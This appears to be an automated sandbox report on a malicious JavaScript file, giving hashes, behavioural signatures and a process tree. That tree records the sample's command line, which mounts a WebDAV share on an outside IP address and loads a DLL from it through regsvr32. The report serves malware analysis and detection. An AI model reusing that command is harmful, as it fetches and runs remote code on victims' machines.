Analysis

  • max time kernel
    131s
  • max time network
    129s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240709-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240709-enlocale:en-usos:windows10-2004-x64system
  • submitted
    24/07/2024, 02:20

General

  • Target

    8670dabf76b83c72fa2aba1f56adc85e6969e93e97c8d06f2c718d46191c3060.js

  • Size

    4KB

  • MD5

    e7d51d7b8b83a1b60cd746a13f23a06e

  • SHA1

    fbec88687c765dd7c78c181cbc96ba4532ccc603

  • SHA256

    8670dabf76b83c72fa2aba1f56adc85e6969e93e97c8d06f2c718d46191c3060

  • SHA512

    f11e3641c5540bc4e3b6b7db5d6783edfb7e8a885879ec77079ce7acfc7d34eff7d5c3e19632ed172370c81928331a364d4fdc545bb5b1ad592f7d18d2db2c44

  • SSDEEP

    96:VV+BmZzh/wDj8tLq1t7cCZzuFxHPlQHIFFlVJW5yk5zZU5lZ+JOOkF5JZSUr5zkN:VV+BmZzh/wDj8tLq1t7cCZzuFxHPlQHx

Score
7/10

Malware Config

Signatures

  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Command and Scripting Interpreter: JavaScript 1 TTPs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Runs net.exe
  • Suspicious use of WriteProcessMemory 4 IoCs

Processes

  • C:\Windows\system32\wscript.exe
    wscript.exe C:\Users\Admin\AppData\Local\Temp\8670dabf76b83c72fa2aba1f56adc85e6969e93e97c8d06f2c718d46191c3060.js
    1⤵
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:956
    • C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" /k net use \\45.9.74.36@8888\davwwwroot\ && regsvr32 /s \\45.9.74.36@8888\davwwwroot\536342004606.dll
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:4996
      • C:\Windows\system32\net.exe
        net use \\45.9.74.36@8888\davwwwroot\
        3⤵
          PID:4804

    Network

          MITRE ATT&CK Enterprise v15

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          Downloads